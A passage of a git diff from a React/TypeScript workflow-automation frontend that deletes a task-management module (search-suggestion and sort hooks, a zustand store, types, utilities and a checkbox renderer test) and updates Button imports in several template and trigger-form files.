-        useShallow((state) => ({
-            filters: state.filters,
-            searchQuery: state.searchQuery,
-            setSearchQuery: state.setSearchQuery,
-            tasks: state.tasks,
-        }))
-    );
-
-    const suggestions = useMemo(() => {
-        if (!searchQuery.trim()) {
-            return [];
-        }
-
-        const tasksMatchingFilters = tasks.filter((task) => {
-            const matchesStatus = filters.status === 'all' || task.status === filters.status;
-            const matchesPriority = filters.priority === 'all' || task.priority === filters.priority;
-            const matchesAssignee = filters.assignee === 'all' || task.assignee === filters.assignee;
-
-            return matchesStatus && matchesPriority && matchesAssignee;
-        });
-
-        const titleSuggestions = tasksMatchingFilters
-            .filter(
-                (task) =>
-                    task.title.toLowerCase().includes(searchQuery.toLowerCase()) &&
-                    task.title.toLowerCase() !== searchQuery.toLowerCase()
-            )
-            .map((task) => task.title);
-
-        const assigneeSuggestions = tasksMatchingFilters
-            .filter(
-                (task) =>
-                    task.assignee.toLowerCase().includes(searchQuery.toLowerCase()) &&
-                    task.assignee.toLowerCase() !== searchQuery.toLowerCase()
-            )
-            .map((task) => task.assignee);
-
-        const allSuggestions = [...titleSuggestions, ...assigneeSuggestions].slice(0, 5);
-        const uniqueSuggestions = [...new Set(allSuggestions)];
-
-        return uniqueSuggestions.map((suggestion) => ({
-            highlighted: highlightText(suggestion, searchQuery),
-            text: suggestion,
-        }));
-    }, [searchQuery, tasks, filters]);
-
-    // Close suggestions when clicking outside
-    useEffect(() => {
-        const handleClickOutside = (event: globalThis.MouseEvent) => {
-            if (searchInputRef.current && !searchInputRef.current.contains(event.target as Node)) {
-                setShowSuggestions(false);
-                setSelectedSuggestionIndex(-1);
-            }
-        };
-
-        document.addEventListener('mousedown', handleClickOutside);
-
-        return () => document.removeEventListener('mousedown', handleClickOutside);
-    }, []);
-
-    const handleSearchChange = useCallback(
-        (value: string) => {
-            setSearchQuery(value);
-            setShowSuggestions(value.length > 0);
-            setSelectedSuggestionIndex(-1);
-        },
-        [setSearchQuery]
-    );
-
-    const handleSuggestionClick = useCallback(
-        (suggestion: string) => {
-            setSearchQuery(suggestion);
-            setShowSuggestions(false);
-            setSelectedSuggestionIndex(-1);
-            searchInputRef.current?.focus();
-        },
-        [setSearchQuery]
-    );
-
-    const handleKeyDown = useCallback(
-        (event: KeyboardEvent) => {
-            if (!showSuggestions || suggestions.length === 0) {
-                return;
-            }
-
-            switch (event.key) {
-                case 'ArrowDown':
-                    event.preventDefault();
-                    setSelectedSuggestionIndex((previousIndex) =>
-                        previousIndex < suggestions.length - 1 ? previousIndex + 1 : previousIndex
-                    );
-                    break;
-                case 'ArrowUp':
-                    event.preventDefault();
-                    setSelectedSuggestionIndex((previousIndex) => (previousIndex > 0 ? previousIndex - 1 : -1));
-                    break;
-                case 'Enter':
-                    event.preventDefault();
-
-                    if (selectedSuggestionIndex >= 0) {
-                        handleSuggestionClick(suggestions[selectedSuggestionIndex].text);
-                    }
-                    break;
-                case 'Escape':
-                    setShowSuggestions(false);
-                    setSelectedSuggestionIndex(-1);
-                    break;
-            }
-        },
-        [showSuggestions, suggestions, selectedSuggestionIndex, handleSuggestionClick]
-    );
-
-    const handleInputFocus = useCallback(() => {
-        if (searchQuery.length > 0) {
-            setShowSuggestions(true);
-        }
-    }, [searchQuery]);
-
-    return {
-        handleInputFocus,
-        handleKeyDown,
-        handleSearchChange,
-        handleSuggestionClick,
-        searchInputRef,
-        searchQuery,
-        selectedSuggestionIndex,
-        showSuggestions,
-        suggestions,
-    };
-}
diff --git a/client/src/pages/automation/tasks/components/hooks/useTaskSortMenu.ts b/client/src/pages/automation/tasks/components/hooks/useTaskSortMenu.ts
deleted file mode 100644
index 39f79afad37..00000000000
--- a/client/src/pages/automation/tasks/components/hooks/useTaskSortMenu.ts
+++ /dev/null
@@ -1,30 +0,0 @@
-import {useCallback} from 'react';
-
-import type {SortDirectionType, SortOptionType} from '../../types/types';
-
-export interface UseTaskSortMenuParamsI {
-    sortBy: SortOptionType;
-    sortDirection: SortDirectionType;
-    onSortChange: (sortBy: SortOptionType, direction: SortDirectionType) => void;
-}
-
-export interface UseTaskSortMenuReturnI {
-    handleSortOptionClick: (optionValue: SortOptionType) => void;
-}
-
-export function useTaskSortMenu({onSortChange, sortBy, sortDirection}: UseTaskSortMenuParamsI): UseTaskSortMenuReturnI {
-    const handleSortOptionClick = useCallback(
-        (optionValue: SortOptionType) => {
-            if (sortBy === optionValue) {
-                onSortChange(optionValue, sortDirection === 'asc' ? 'desc' : 'asc');
-            } else {
-                onSortChange(optionValue, 'asc');
-            }
-        },
-        [sortBy, sortDirection, onSortChange]
-    );
-
-    return {
-        handleSortOptionClick,
-    };
-}
diff --git a/client/src/pages/automation/tasks/hooks/useTasks.ts b/client/src/pages/automation/tasks/hooks/useTasks.ts
deleted file mode 100644
index 359c0038f71..00000000000
--- a/client/src/pages/automation/tasks/hooks/useTasks.ts
+++ /dev/null
@@ -1,147 +0,0 @@
-import {Task, useTasksQuery, useUpdateTaskMutation, useUsersQuery} from '@/shared/middleware/graphql';
-import {useCallback, useEffect, useMemo} from 'react';
-
-import {useTasksStore} from '../stores/useTasksStore';
-import {getAvailableAssignees, getCurrentTimestamp} from '../utils/task-utils';
-
-import type {TaskAttachmentI, TaskCommentI, TaskI} from '../types/types';
-
-export interface UseTasksReturnI {
-    addAttachmentToTask: (taskId: string, attachment: Omit<TaskAttachmentI, 'id' | 'uploadedAt'>) => void;
-    addCommentToTask: (taskId: string, comment: Omit<TaskCommentI, 'id' | 'timestamp'>) => void;
-    availableAssignees: string[];
-    removeAttachmentFromTask: (taskId: string, attachmentId: string) => void;
-    selectedTaskId: string | null;
-    selectedTaskObject: TaskI | null;
-    setSelectedTaskId: (taskId: string | null) => void;
-    tasks: TaskI[];
-    updateTask: (task: TaskI) => void;
-}
-
-export function useTasks(): UseTasksReturnI {
-    const tasks = useTasksStore((state) => state.tasks);
-    const selectedTaskId = useTasksStore((state) => state.selectedTaskId);
-    const setTasks = useTasksStore((state) => state.setTasks);
-    const setSelectedTaskId = useTasksStore((state) => state.setSelectedTaskId);
-    const storeUpdateTask = useTasksStore((state) => state.updateTask);
-    const storeAddComment = useTasksStore((state) => state.addComment);
-    const storeAddAttachment = useTasksStore((state) => state.addAttachment);
-    const storeRemoveAttachment = useTasksStore((state) => state.removeAttachment);
-
-    const {data: tasksData} = useTasksQuery();
-    const {data: usersData} = useUsersQuery();
-
-    const updateTaskMutation = useUpdateTaskMutation({
-        onError: (error) => {
-            console.error('Error updating task:', error);
-        },
-    });
-
-    const availableAssignees = useMemo(() => getAvailableAssignees(usersData?.users?.content), [usersData]);
-
-    const mapApiTaskToUiTask = useCallback(
-        (apiTask: Task): TaskI => ({
-            assignee: apiTask.createdBy || 'Unassigned',
-            attachments: [],
-            comments: [],
-            createdAt: apiTask.createdDate || new Date().toISOString(),
-            dependencies: [],
-            description: apiTask.description || '',
-            dueDate: undefined,
-            id: apiTask.id,
-            priority: 'medium',
-            status: 'open',
-            title: apiTask.name,
-            version: apiTask.version,
-        }),
-        []
-    );
-
-    useEffect(() => {
-        if (tasksData?.tasks) {
-            const mappedTasks = tasksData.tasks.filter((task): task is Task => task !== null).map(mapApiTaskToUiTask);
-
-            setTasks(mappedTasks);
-        }
-    }, [tasksData, mapApiTaskToUiTask, setTasks]);
-
-    const selectedTaskObject = tasks.find((task) => task.id === selectedTaskId) || null;
-
-    const generateCommentId = useCallback(() => {
-        const allComments = tasks.flatMap((task) => task.comments);
-        const maxId = Math.max(...allComments.map((comment) => Number.parseInt(comment.id.replace('c', ''))), 0);
-
-        return `c${maxId + 1}`;
-    }, [tasks]);
-
-    const generateAttachmentId = useCallback(() => {
-        const allAttachments = tasks.flatMap((task) => task.attachments);
-        const maxId = Math.max(
-            ...allAttachments.map((attachment) => Number.parseInt(attachment.id.replace('a', ''))),
-            0
-        );
-
-        return `a${maxId + 1}`;
-    }, [tasks]);
-
-    const updateTask = useCallback(
-        (updatedTask: TaskI) => {
-            storeUpdateTask(updatedTask);
-
-            updateTaskMutation.mutate({
-                task: {
-                    description: updatedTask.description,
-                    id: updatedTask.id,
-                    name: updatedTask.title,
-                    version: updatedTask.version,
-                },
-            });
-        },
-        [storeUpdateTask, updateTaskMutation]
-    );
-
-    const addCommentToTask = useCallback(
-        (taskId: string, commentData: Omit<TaskCommentI, 'id' | 'timestamp'>) => {
-            const comment: TaskCommentI = {
-                ...commentData,
-                id: generateCommentId(),
-                timestamp: getCurrentTimestamp(),
-            };
-
-            storeAddComment(taskId, comment);
-        },
-        [generateCommentId, storeAddComment]
-    );
-
-    const addAttachmentToTask = useCallback(
-        (taskId: string, attachmentData: Omit<TaskAttachmentI, 'id' | 'uploadedAt'>) => {
-            const attachment: TaskAttachmentI = {
-                ...attachmentData,
-                id: generateAttachmentId(),
-                uploadedAt: getCurrentTimestamp(),
-            };
-
-            storeAddAttachment(taskId, attachment);
-        },
-        [generateAttachmentId, storeAddAttachment]
-    );
-
-    const removeAttachmentFromTask = useCallback(
-        (taskId: string, attachmentId: string) => {
-            storeRemoveAttachment(taskId, attachmentId);
-        },
-        [storeRemoveAttachment]
-    );
-
-    return {
-        addAttachmentToTask,
-        addCommentToTask,
-        availableAssignees,
-        removeAttachmentFromTask,
-        selectedTaskId,
-        selectedTaskObject,
-        setSelectedTaskId,
-        tasks,
-        updateTask,
-    };
-}
diff --git a/client/src/pages/automation/tasks/stores/useTasksStore.ts b/client/src/pages/automation/tasks/stores/useTasksStore.ts
deleted file mode 100644
index 0894d4bc9f5..00000000000
--- a/client/src/pages/automation/tasks/stores/useTasksStore.ts
+++ /dev/null
@@ -1,202 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-import {formatDate, getPriorityColor, getStatusIcon, highlightText} from '../utils/task-utils';
-
-import type {ReactNode} from 'react';
-
-import type {FiltersI, TaskAttachmentI, TaskCommentI, TaskI} from '../types/types';
-
-const DEFAULT_FILTERS: FiltersI = {
-    assignee: 'all',
-    priority: 'all',
-    status: 'all',
-};
-
-interface TasksStateI {
-    addAttachment: (taskId: string, attachment: TaskAttachmentI) => void;
-    addComment: (taskId: string, comment: TaskCommentI) => void;
-    addTask: (task: TaskI) => void;
-    cycleTaskStatus: (taskId: string) => void;
-    deleteTask: (taskId: string) => void;
-    filters: FiltersI;
-    getFormattedDueDate: (task: TaskI) => string | null;
-    getHighlightedAssignee: (task: TaskI) => ReactNode;
-    getHighlightedDescription: (task: TaskI) => ReactNode;
-    getHighlightedTitle: (task: TaskI) => ReactNode;
-    getPriorityColor: (task: TaskI) => string;
-    getSelectedTask: () => TaskI | null;
-    getStatusIcon: (task: TaskI) => ReactNode;
-    hasActiveFilters: () => boolean;
-    removeAttachment: (taskId: string, attachmentId: string) => void;
-    resetFilters: () => void;
-    searchQuery: string;
-    selectedTaskId: string | null;
-    setFilters: (filters: FiltersI | ((prev: FiltersI) => FiltersI)) => void;
-    setSearchQuery: (query: string) => void;
-    setSelectedTaskId: (taskId: string | null) => void;
-    setTasks: (tasks: TaskI[]) => void;
-    tasks: TaskI[];
-    updateTask: (task: TaskI) => void;
-}
-
-const cycleStatus = (currentStatus: string): 'open' | 'in-progress' | 'completed' => {
-    switch (currentStatus) {
-        case 'open':
-            return 'in-progress';
-        case 'in-progress':
-            return 'completed';
-        case 'completed':
-            return 'open';
-        default:
-            return 'open';
-    }
-};
-
-export const useTasksStore = create<TasksStateI>()(
-    devtools(
-        (set, get) => ({
-            addAttachment: (taskId: string, attachment: TaskAttachmentI) => {
-                set((state) => ({
-                    tasks: state.tasks.map((task) => {
-                        if (task.id === taskId) {
-                            return {...task, attachments: [...task.attachments, attachment]};
-                        }
-
-                        return task;
-                    }),
-                }));
-            },
-
-            addComment: (taskId: string, comment: TaskCommentI) => {
-                set((state) => ({
-                    tasks: state.tasks.map((task) => {
-                        if (task.id === taskId) {
-                            return {...task, comments: [...task.comments, comment]};
-                        }
-
-                        return task;
-                    }),
-                }));
-            },
-
-            addTask: (task: TaskI) => {
-                set((state) => ({tasks: [task, ...state.tasks]}));
-            },
-
-            cycleTaskStatus: (taskId: string) => {
-                set((state) => ({
-                    tasks: state.tasks.map((task) => {
-                        if (task.id === taskId) {
-                            return {...task, status: cycleStatus(task.status)};
-                        }
-
-                        return task;
-                    }),
-                }));
-            },
-
-            deleteTask: (taskId: string) => {
-                set((state) => ({
-                    selectedTaskId: state.selectedTaskId === taskId ? null : state.selectedTaskId,
-                    tasks: state.tasks.filter((task) => task.id !== taskId),
-                }));
-            },
-
-            filters: DEFAULT_FILTERS,
-
-            getFormattedDueDate: (task: TaskI) => (task.dueDate ? formatDate(task.dueDate) : null),
-
-            getHighlightedAssignee: (task: TaskI) => {
-                const {searchQuery} = get();
-
-                return searchQuery ? highlightText(task.assignee, searchQuery) : task.assignee;
-            },
-
-            getHighlightedDescription: (task: TaskI) => {
-                const {searchQuery} = get();
-
-                return searchQuery ? highlightText(task.description, searchQuery) : task.description;
-            },
-
-            getHighlightedTitle: (task: TaskI) => {
-                const {searchQuery} = get();
-
-                return searchQuery ? highlightText(task.title, searchQuery) : task.title;
-            },
-
-            getPriorityColor: (task: TaskI) => getPriorityColor(task.priority),
-
-            getSelectedTask: () => {
-                const {selectedTaskId, tasks} = get();
-
-                if (!selectedTaskId) {
-                    return null;
-                }
-
-                return tasks.find((task) => task.id === selectedTaskId) || null;
-            },
-
-            getStatusIcon: (task: TaskI) => getStatusIcon(task.status),
-
-            hasActiveFilters: () => {
-                const {filters} = get();
-
-                return filters.status !== 'all' || filters.priority !== 'all' || filters.assignee !== 'all';
-            },
-
-            removeAttachment: (taskId: string, attachmentId: string) => {
-                set((state) => ({
-                    tasks: state.tasks.map((task) => {
-                        if (task.id === taskId) {
-                            return {
-                                ...task,
-                                attachments: task.attachments.filter((attachment) => attachment.id !== attachmentId),
-                            };
-                        }
-
-                        return task;
-                    }),
-                }));
-            },
-
-            resetFilters: () => {
-                set(() => ({filters: DEFAULT_FILTERS}));
-            },
-
-            searchQuery: '',
-
-            selectedTaskId: null,
-
-            setFilters: (filtersOrUpdater: FiltersI | ((prev: FiltersI) => FiltersI)) => {
-                set((state) => ({
-                    filters:
-                        typeof filtersOrUpdater === 'function' ? filtersOrUpdater(state.filters) : filtersOrUpdater,
-                }));
-            },
-
-            setSearchQuery: (query: string) => {
-                set(() => ({searchQuery: query}));
-            },
-
-            setSelectedTaskId: (taskId: string | null) => {
-                set(() => ({selectedTaskId: taskId}));
-            },
-
-            setTasks: (tasks: TaskI[]) => {
-                set(() => ({tasks}));
-            },
-
-            tasks: [],
-
-            updateTask: (updatedTask: TaskI) => {
-                set((state) => ({
-                    tasks: state.tasks.map((task) => (task.id === updatedTask.id ? updatedTask : task)),
-                }));
-            },
-        }),
-        {
-            name: 'bytechef.tasks',
-        }
-    )
-);
diff --git a/client/src/pages/automation/tasks/types/types.ts b/client/src/pages/automation/tasks/types/types.ts
deleted file mode 100644
index e6e7eda98b0..00000000000
--- a/client/src/pages/automation/tasks/types/types.ts
+++ /dev/null
@@ -1,78 +0,0 @@
-export type StatusFilterType = 'all' | 'open' | 'in-progress' | 'completed';
-export type PriorityFilterType = 'all' | 'high' | 'medium' | 'low';
-export type AssigneeFilterType = 'all' | string;
-export type SortOptionType = 'created' | 'title' | 'priority' | 'status' | 'assignee' | 'dueDate';
-export type SortDirectionType = 'asc' | 'desc';
-
-export interface TaskCommentI {
-    id: string;
-    author: string;
-    content: string;
-    timestamp: string;
-}
-
-export interface TaskAttachmentI {
-    id: string;
-    name: string;
-    size: string;
-    type: string;
-    uploadedBy: string;
-    uploadedAt: string;
-}
-
-export interface TaskI {
-    assignee: string;
-    attachments: TaskAttachmentI[];
-    comments: TaskCommentI[];
-    createdAt: string;
-    dependencies: string[];
-    description: string;
-    dueDate?: string;
-    id?: string;
-    priority: 'high' | 'medium' | 'low';
-    status: 'open' | 'in-progress' | 'completed';
-    title: string;
-    version?: number;
-}
-
-export interface FiltersI {
-    status: StatusFilterType;
-    priority: PriorityFilterType;
-    assignee: AssigneeFilterType;
-}
-
-export interface TaskCountsI {
-    all: number;
-    open: number;
-    'in-progress': number;
-    completed: number;
-}
-
-export interface PriorityCountsI {
-    all: number;
-    high: number;
-    medium: number;
-    low: number;
-}
-
-export interface TaskTemplateI {
-    id: string;
-    name: string;
-    description: string;
-    defaultStatus: 'open' | 'in-progress' | 'completed';
-    defaultPriority: 'high' | 'medium' | 'low';
-    defaultAssignee?: string;
-    estimatedDuration?: string;
-    checklist: string[];
-}
-
-export interface NewTaskFormI {
-    title: string;
-    description: string;
-    status: 'open' | 'in-progress' | 'completed';
-    priority: 'high' | 'medium' | 'low';
-    assignee: string;
-    dueDate: string;
-    dependencies: string[];
-    templateId?: string;
-}
diff --git a/client/src/pages/automation/tasks/utils/task-utils.tsx b/client/src/pages/automation/tasks/utils/task-utils.tsx
deleted file mode 100644
index d2a334e5a28..00000000000
--- a/client/src/pages/automation/tasks/utils/task-utils.tsx
+++ /dev/null
@@ -1,195 +0,0 @@
-import {CheckCircle2Icon, CircleIcon, ClockIcon} from 'lucide-react';
-
-import type {ReactNode} from 'react';
-
-import type {SortDirectionType, SortOptionType, TaskI} from '../types/types';
-
-const PRIORITY_ORDER: Record<string, number> = {high: 3, low: 1, medium: 2};
-const STATUS_ORDER: Record<string, number> = {completed: 3, 'in-progress': 2, open: 1};
-
-export const getCurrentTimestamp = (): string => {
-    return new Date().toISOString();
-};
-
-interface UserWithDisplayInfoI {
-    activated?: boolean | null;
-    email?: string | null;
-    firstName?: string | null;
-    lastName?: string | null;
-    login?: string | null;
-}
-
-export const getAvailableAssignees = (users: Array<UserWithDisplayInfoI | null> | undefined): string[] => {
-    if (!users) {
-        return [];
-    }
-
-    return users
-        .filter((user): user is UserWithDisplayInfoI => user !== null && user?.activated === true)
-        .map((user) => {
-            if (user.firstName && user.lastName) {
-                return `${user.firstName} ${user.lastName}`;
-            }
-
-            return user.login || user.email || '';
-        })
-        .filter((name) => name !== '');
-};
-
-export const formatDate = (dateString: string): string => {
-    return new Date(dateString).toLocaleDateString('en-US', {
-        day: 'numeric',
-        month: 'short',
-        year: 'numeric',
-    });
-};
-
-export const formatTimestamp = (timestamp: string): string => {
-    return new Date(timestamp).toLocaleString('en-US', {
-        day: 'numeric',
-        hour: 'numeric',
-        minute: '2-digit',
-        month: 'short',
-    });
-};
-
-export const getInitials = (name: string): string => {
-    return name
-        .split(' ')
-        .map((namePart) => namePart[0])
-        .join('')
-        .toUpperCase();
-};
-
-export const getStatusIcon = (status: string): ReactNode => {
-    switch (status) {
-        case 'completed':
-            return <CheckCircle2Icon className="size-4 text-green-500" />;
-        case 'in-progress':
-            return <ClockIcon className="size-4 text-blue-500" />;
-        default:
-            return <CircleIcon className="size-4 text-gray-400" />;
-    }
-};
-
-export const getPriorityColor = (priority: string): string => {
-    switch (priority) {
-        case 'high':
-            return 'bg-red-100 text-red-800 border-red-200';
-        case 'medium':
-            return 'bg-yellow-100 text-yellow-800 border-yellow-200';
-        case 'low':
-            return 'bg-green-100 text-green-800 border-green-200';
-        default:
-            return 'bg-gray-100 text-gray-800 border-gray-200';
-    }
-};
-
-export const isTaskOverdue = (task: TaskI): boolean => {
-    if (!task.dueDate || task.status === 'completed') {
-        return false;
-    }
-
-    return new Date(task.dueDate) < new Date();
-};
-
-export const getStatusLabel = (status: string): string => {
-    switch (status) {
-        case 'open':
-            return 'Open';
-        case 'in-progress':
-            return 'In Progress';
-        case 'completed':
-            return 'Completed';
-        default:
-            return status;
-    }
-};
-
-export const getPriorityLabel = (priority: string): string => {
-    return priority.charAt(0).toUpperCase() + priority.slice(1);
-};
-
-export const highlightText = (text: string, query: string): ReactNode => {
-    if (!query.trim()) {
-        return text;
-    }
-
-    const regex = new RegExp(`(${query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')})`, 'gi');
-    const parts = text.split(regex);
-
-    return parts.map((part, index) => {
-        if (part.toLowerCase() === query.toLowerCase()) {
-            return (
-                <mark className="rounded bg-yellow-200 px-0.5 text-yellow-900" key={index}>
-                    {part}
-                </mark>
-            );
-        }
-
-        return part;
-    });
-};
-
-export const getHeaderText = (filters: {status: string; priority: string; assignee: string}): string => {
-    const parts = [];
-
-    if (filters.status !== 'all') {
-        parts.push(filters.status.charAt(0).toUpperCase() + filters.status.slice(1).replace('-', ' '));
-    }
-
-    if (filters.priority !== 'all') {
-        parts.push(filters.priority.charAt(0).toUpperCase() + filters.priority.slice(1) + ' priority');
-    }
-
-    if (filters.assignee !== 'all') {
-        parts.push(`by ${filters.assignee}`);
-    }
-
-    if (parts.length === 0) {
-        return 'All tasks';
-    }
-
-    return `${parts.join(', ')} tasks`;
-};
-
-export const sortTasks = (tasks: TaskI[], sortBy: SortOptionType, sortDirection: SortDirectionType): TaskI[] => {
-    return [...tasks].sort((taskA, taskB) => {
-        let valueA: string | number;
-        let valueB: string | number;
-
-        switch (sortBy) {
-            case 'title':
-                valueA = taskA.title.toLowerCase();
-                valueB = taskB.title.toLowerCase();
-                break;
-            case 'priority':
-                valueA = PRIORITY_ORDER[taskA.priority];
-                valueB = PRIORITY_ORDER[taskB.priority];
-                break;
-            case 'status':
-                valueA = STATUS_ORDER[taskA.status];
-                valueB = STATUS_ORDER[taskB.status];
-                break;
-            case 'assignee':
-                valueA = taskA.assignee.toLowerCase();
-                valueB = taskB.assignee.toLowerCase();
-                break;
-            case 'dueDate':
-                valueA = taskA.dueDate ? new Date(taskA.dueDate).getTime() : Number.MAX_SAFE_INTEGER;
-                valueB = taskB.dueDate ? new Date(taskB.dueDate).getTime() : Number.MAX_SAFE_INTEGER;
-                break;
-            case 'created':
-            default:
-                valueA = new Date(taskA.createdAt).getTime();
-                valueB = new Date(taskB.createdAt).getTime();
-                break;
-        }
-
-        if (sortDirection === 'asc') {
-            return valueA < valueB ? -1 : valueA > valueB ? 1 : 0;
-        } else {
-            return valueA > valueB ? -1 : valueA < valueB ? 1 : 0;
-        }
-    });
-};
diff --git a/client/src/pages/automation/template/components/ComponentRow.tsx b/client/src/pages/automation/template/components/ComponentRow.tsx
index 7d4a7d77590..48d4d46a6ec 100644
--- a/client/src/pages/automation/template/components/ComponentRow.tsx
+++ b/client/src/pages/automation/template/components/ComponentRow.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
 import LazyLoadSVG from '@/components/LazyLoadSVG/LazyLoadSVG';
+import {Button} from '@/components/ui/button';
 import {ComponentDefinition, ConnectionDefinition} from '@/shared/middleware/graphql';
 import {Dispatch, SetStateAction} from 'react';
 
diff --git a/client/src/pages/automation/template/project-template/ProjectTemplate.tsx b/client/src/pages/automation/template/project-template/ProjectTemplate.tsx
index 79e3e4975c5..1f011a00e29 100644
--- a/client/src/pages/automation/template/project-template/ProjectTemplate.tsx
+++ b/client/src/pages/automation/template/project-template/ProjectTemplate.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
 import ComponentRow from '@/pages/automation/template/components/ComponentRow';
 import TemplateLayoutContainer from '@/pages/automation/template/components/TemplateLayoutContainer';
diff --git a/client/src/pages/automation/template/workflow-template/WorkflowTemplate.tsx b/client/src/pages/automation/template/workflow-template/WorkflowTemplate.tsx
index e09408d437e..a862281cad2 100644
--- a/client/src/pages/automation/template/workflow-template/WorkflowTemplate.tsx
+++ b/client/src/pages/automation/template/workflow-template/WorkflowTemplate.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
 import {ComboBoxItemType} from '@/components/ComboBox';
+import {Button} from '@/components/ui/button';
 import ComponentRow from '@/pages/automation/template/components/ComponentRow';
 import TemplateLayoutContainer from '@/pages/automation/template/components/TemplateLayoutContainer';
 import ProjectsComboBox from '@/pages/automation/template/workflow-template/components/ProjectsComboBox';
diff --git a/client/src/pages/automation/templates/components/layout-container/TemplatesLayoutContainerCategoryFilters.tsx b/client/src/pages/automation/templates/components/layout-container/TemplatesLayoutContainerCategoryFilters.tsx
index e512a3d697d..acbcd4d2788 100644
--- a/client/src/pages/automation/templates/components/layout-container/TemplatesLayoutContainerCategoryFilters.tsx
+++ b/client/src/pages/automation/templates/components/layout-container/TemplatesLayoutContainerCategoryFilters.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {useTemplatesStore} from '@/pages/automation/templates/stores/useTemplatesStore';
 import {useState} from 'react';
 
diff --git a/client/src/pages/automation/trigger-form/tests/TriggerForm.test.tsx b/client/src/pages/automation/trigger-form/TriggerForm.test.tsx
similarity index 97%
rename from client/src/pages/automation/trigger-form/tests/TriggerForm.test.tsx
rename to client/src/pages/automation/trigger-form/TriggerForm.test.tsx
index d25652360df..19044eeb768 100644
--- a/client/src/pages/automation/trigger-form/tests/TriggerForm.test.tsx
+++ b/client/src/pages/automation/trigger-form/TriggerForm.test.tsx
@@ -1,8 +1,8 @@
 import {TriggerForm as TriggerFormType} from '@/shared/middleware/platform/configuration';
 import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
 
-import {fireEvent, render, screen, waitFor} from '../../../../shared/util/test-utils';
-import TriggerForm, {FieldType} from '../TriggerForm';
+import {fireEvent, render, screen, waitFor} from '../../../shared/util/test-utils';
+import TriggerForm, {FieldType} from './TriggerForm';
 
 const mockWorkflowExecutionId = 'test-id';
 const mockEnvironmentId = '0';
diff --git a/client/src/pages/automation/trigger-form/TriggerForm.tsx b/client/src/pages/automation/trigger-form/TriggerForm.tsx
index a914fb15eae..4767dc6ce36 100644
--- a/client/src/pages/automation/trigger-form/TriggerForm.tsx
+++ b/client/src/pages/automation/trigger-form/TriggerForm.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Form} from '@/components/ui/form';
 import {PRODUCTION_ENVIRONMENT, toEnvironmentName} from '@/shared/constants';
 import {TriggerFormInput} from '@/shared/middleware/platform/configuration';
diff --git a/client/src/pages/automation/trigger-form/components/tests/CheckboxFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/CheckboxFieldRenderer.test.tsx
deleted file mode 100644
index 525818aa991..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/CheckboxFieldRenderer.test.tsx
+++ /dev/null
@@ -1,102 +0,0 @@
-import {fireEvent, render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {CheckboxFieldRenderer} from '../CheckboxFieldRenderer';
-import {createMockForm} from './testUtils';
-
-describe('CheckboxFieldRenderer', () => {
-    it('should render with fieldLabel', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<CheckboxFieldRenderer form={form} formInput={{fieldLabel: 'Accept Terms'}} name="acceptTerms" />, {
-            wrapper,
-        });
-
-        expect(screen.getByText('Accept Terms')).toBeInTheDocument();
-    });
-
-    it('should render with fieldName when fieldLabel is not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<CheckboxFieldRenderer form={form} formInput={{fieldName: 'termsField'}} name="acceptTerms" />, {
-            wrapper,
-        });
-
-        expect(screen.getByText('termsField')).toBeInTheDocument();
-    });
-
-    it('should render with name when fieldLabel and fieldName are not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<CheckboxFieldRenderer form={form} formInput={{}} name="fallbackName" />, {wrapper});
-
-        expect(screen.getByText('fallbackName')).toBeInTheDocument();
-    });
-
-    it('should render placeholder as label when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <CheckboxFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Original Label', placeholder: 'Placeholder Label'}}
-                name="checkbox"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Placeholder Label')).toBeInTheDocument();
-    });
-
-    it('should render field description when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <CheckboxFieldRenderer
-                form={form}
-                formInput={{fieldDescription: 'This is a helpful description', fieldLabel: 'Checkbox'}}
-                name="checkbox"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('This is a helpful description')).toBeInTheDocument();
-    });
-
-    it('should not render field description when not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<CheckboxFieldRenderer form={form} formInput={{fieldLabel: 'Checkbox'}} name="checkbox" />, {wrapper});
-
-        expect(screen.queryByText('This is a helpful description')).not.toBeInTheDocument();
-    });
-
-    it('should render checkbox input', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<CheckboxFieldRenderer form={form} formInput={{fieldLabel: 'Subscribe'}} name="subscribe" />, {wrapper});
-
-        expect(screen.getByRole('checkbox')).toBeInTheDocument();
-    });
-
-    it('should toggle checkbox when clicked', () => {
-        const {form, formRef, wrapper} = createMockForm();
-
-        render(<CheckboxFieldRenderer form={form} formInput={{fieldLabel: 'Subscribe'}} name="subscribe" />, {wrapper});
-
-        const checkbox = screen.getByRole('checkbox');
-        expect(checkbox).not.toBeChecked();
-
-        fireEvent.click(checkbox);
-
-        expect(formRef.current?.getValues('subscribe')).toBe(true);
-    });
-
-    it('should reflect checked state from form default value', () => {
-        const {form, wrapper} = createMockForm({subscribe: true});
-
-        render(<CheckboxFieldRenderer form={form} formInput={{fieldLabel: 'Subscribe'}} name="subscribe" />, {wrapper});
-
-        expect(screen.getByRole('checkbox')).toBeChecked();
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/CustomHTMLFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/CustomHTMLFieldRenderer.test.tsx
deleted file mode 100644
index 2dc7fef2a67..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/CustomHTMLFieldRenderer.test.tsx
